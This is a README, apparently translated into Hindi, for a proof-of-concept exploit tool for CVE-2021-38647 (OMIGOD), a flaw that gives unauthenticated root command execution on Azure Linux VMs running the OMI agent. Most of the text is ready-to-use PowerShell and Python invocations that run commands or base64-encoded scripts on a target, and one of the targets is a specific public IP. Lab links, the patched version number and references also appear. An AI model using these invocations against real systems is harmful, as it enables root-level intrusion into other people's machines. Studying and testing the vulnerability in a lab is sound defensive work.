
CVE-2021-38647 - बिना प्रमाणीकरण के RCE का शोषण करने के लिए POC #OMIGOD
CVE-2021-38647 - Azure UNIX/Linux VM पर अप्रमाणित RCE का शोषण करने के लिए POC #OMIGOD!
Microsoft के Azure में, OMI एप्लिकेशन स्वचालित रूप से इंस्टॉल हो जाता है जब UNIX/Linux VM के लिए Azure Automation Accounts, Update Management, Log Analytics, Configuration Management जैसी सेवाओं का उपयोग किया जाता है। यदि मशीन को दूरस्थ रूप से प्रबंधित करने के लिए Configuration Management सेवा का उपयोग किया जाता है, तो OMI एप्लिकेशन पोर्ट 5986 पर सेवा को भी उजागर करता है।
कमजोर एंडपॉइंट तक नेटवर्क पहुंच वाला कोई भी व्यक्ति Authorization हेडर के बिना SCXcore प्रदाता का लाभ उठाने वाला अनुरोध भेज सकता है और लक्ष्य मशीन पर रूट विशेषाधिकारों के साथ OS कमांड निष्पादित कर सकता है!
यह कमजोरी अब ठीक कर दी गई है, लेकिन Azure में Linux VMs के खिलाफ जांच करना हमेशा सार्थक है।
# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) # For Windows
echo 'id' | base64 # For Linux
python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

ARM Template to deploy on Azure - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI
Deploy without Azure - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956
कमजोरी को कम करने के लिए हमें OMI एजेंट को संस्करण 1.6.8.1 या उससे ऊपर अपडेट करना होगा।
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956
https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI
https://www.alteredsecurity.com/post/omigod-cve-2021-38647
WIZ टीम - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
यह परियोजना केवल शैक्षिक उद्देश्यों के लिए है। निर्माता इस उपकरण के किसी भी दुरुपयोग की कोई जिम्मेदारी नहीं लेता है।